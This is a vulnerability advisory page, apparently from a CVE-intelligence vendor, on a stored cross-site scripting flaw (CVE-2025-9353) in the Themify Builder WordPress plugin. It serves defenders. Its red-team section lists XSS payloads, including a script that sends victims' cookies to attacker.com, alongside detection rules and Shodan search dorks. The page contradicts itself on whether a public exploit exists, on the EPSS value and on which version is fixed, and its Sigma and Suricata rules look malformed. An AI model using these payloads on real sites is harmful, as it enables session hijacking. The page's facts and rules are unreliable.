☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Themify logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9353

CVE-2025-9353 Cross-Site Scripting in Themify
📅 PUBLISHED: 2025-09-24 12:27 UTC 🔄 UPDATED: 2026-09-27 00:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.07%
👁️
0.07% probability
1.8× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9353 is a Stored Cross-Site Scripting (XSS) vulnerability in the Themify Builder plugin for WordPress, affecting all versions up to and including 7.6.9. The vulnerability arises from insufficient input sanitization and output escaping on several parameters, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious payload. The vendor released a partial patch in version 7.6.9, but the full remediation status remains unknown. The CVSS score is 6.4 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept (PoC) or exploit code is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress ecosystem, targeting the Themify Builder plugin. It does not affect the underlying web server (Apache or Nginx) but rather the plugin’s handling of user input within WordPress pages. The attack vector requires authenticated access with at least Contributor-level permissions, which limits the attack surface to users who can create or edit posts/pages.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions required.
  • Privileges Required (PR): Low – Attacker needs Contributor-level access.
  • User Interaction (UI): None – No user action needed for exploitation.
  • Scope (S): Changed – The injected script can affect other components (e.g., other users’ sessions).
  • Confidentiality (C): Low – Limited data exposure possible.
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used WordPress plugin could lead to session hijacking, defacement, or phishing attacks. The low EPSS score suggests limited active exploitation, but the partial patch status warrants attention.

Deep Dive & Mechanics

The vulnerability resides in the Themify Builder plugin’s handling of user-supplied data through several parameters during page/post creation or editing. The plugin fails to properly sanitize input and escape output when rendering content, allowing authenticated attackers to inject malicious JavaScript or HTML. This stored XSS persists in the database and executes in the context of any user viewing the affected page.

Root Cause: Insufficient input validation and output escaping in the plugin’s shortcode or builder element processing. The vulnerable parameters likely include fields like text, url, title, or custom CSS classes that are not filtered before being stored and later rendered.

Attack Flow:

  1. Attacker with Contributor-level access logs into WordPress.
  2. Attacker creates or edits a page/post using Themify Builder.
  3. Attacker injects malicious script (e.g., <script>alert('XSS')</script>) into a vulnerable parameter.
  4. The script is stored in the WordPress database without proper sanitization.
  5. When any user (including administrators) visits the page, the script executes in their browser.

Impact: The attacker can steal session cookies, redirect users to malicious sites, perform actions on behalf of the victim, or deface the site.

Vulnerable vs. Patched Code

Since no specific code diff is publicly available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (pre-7.6.9):

// Example of vulnerable parameter handling
function themify_builder_render_element($atts) {
    $text = $atts['text']; // No sanitization
    echo "<div class='builder-text'>$text</div>"; // No escaping
}

Patched Code (7.6.9 partial):

function themify_builder_render_element($atts) {
    $text = isset($atts['text']) ? sanitize_text_field($atts['text']) : '';
    echo "<div class='builder-text'>" . esc_html($text) . "</div>";
}

The partial patch in 7.6.9 likely addressed some parameters but not all, leaving residual XSS vectors. A full patch would require comprehensive sanitization and escaping across all builder parameters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with Themify Builder plugin version <= 7.6.9.
  • Authenticated user account with Contributor-level privileges.

Exploitation Steps:

  1. Log in to WordPress as a Contributor.
  2. Navigate to Pages > Add New.
  3. Use Themify Builder to add a text module.
  4. In the text field, inject a payload such as:
    <img src=x onerror=alert(document.cookie)>
    
  5. Save/publish the page.
  6. When an administrator or other user views the page, the script executes.

Payload Examples:

  • Session hijacking: <script>document.location='https://attacker.com/steal.php?c='+document.cookie</script>
  • Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Note: No public exploit code is available; this is a manual exploitation scenario.

Blue Team (Detection & Response)

Detection:

  • Monitor for unusual page/post creation or editing by Contributor-level users.
  • Look for suspicious HTML/JavaScript in page content (e.g., <script>, onerror, onload).
  • Use Web Application Firewall (WAF) rules to block common XSS patterns.

Response:

  1. Immediately disable the Themify Builder plugin if exploitation is suspected.
  2. Review recent page/post changes for injected scripts.
  3. Remove malicious content from the database.
  4. Reset compromised user accounts and rotate session tokens.
  5. Apply the partial patch (update to 7.6.9) and monitor for further issues.

Indicators of Compromise (IOCs)

  • File-based IOCs:

    • Modified WordPress posts/pages containing <script> tags or event handlers (e.g., onerror, onload).
    • Suspicious entries in the wp_posts table with post_content containing XSS payloads.
  • Network-based IOCs:

    • Outbound connections to known malicious domains from WordPress admin sessions.
    • HTTP requests with XSS payloads in POST parameters to wp-admin/admin-ajax.php or page edit endpoints.
  • Log-based IOCs:

    • Unusual page creation/edit activity from Contributor accounts.
    • Repeated failed login attempts from Contributor accounts (if privilege escalation is attempted).

Detection Engineering

YARA Rule

rule Detect_Themify_Builder_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting Themify Builder plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9353"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $xss4 = /javascript\s*:/is
    condition:
        any of ($xss*) and filesize < 10MB
}

Sigma Rule

title: Stored XSS via Themify Builder Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WordPress posts/pages via Themify Builder
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
        cs-username|contains: 'contributor'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts by authorized users
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-9353 Themify Builder Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Update Themify Builder to version 7.6.9 (partial patch) if not already applied.
  2. Restrict Contributor-level access to trusted users only.
  3. Implement a Web Application Firewall (WAF) with XSS protection rules.
  4. Enable Content Security Policy (CSP) headers to mitigate script execution.

Long-term Fixes:

  • Monitor vendor for a full patch addressing all vulnerable parameters.
  • Conduct regular security audits of WordPress plugins.
  • Use input validation and output escaping libraries (e.g., WordPress esc_html(), sanitize_text_field()).
  • Implement principle of least privilege for user roles.

Workarounds:

  • Disable the Themify Builder plugin until a full patch is available.
  • Use a security plugin (e.g., Wordfence) to block XSS attempts.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Themify Builder"
http.html:"themify-builder"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9353/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.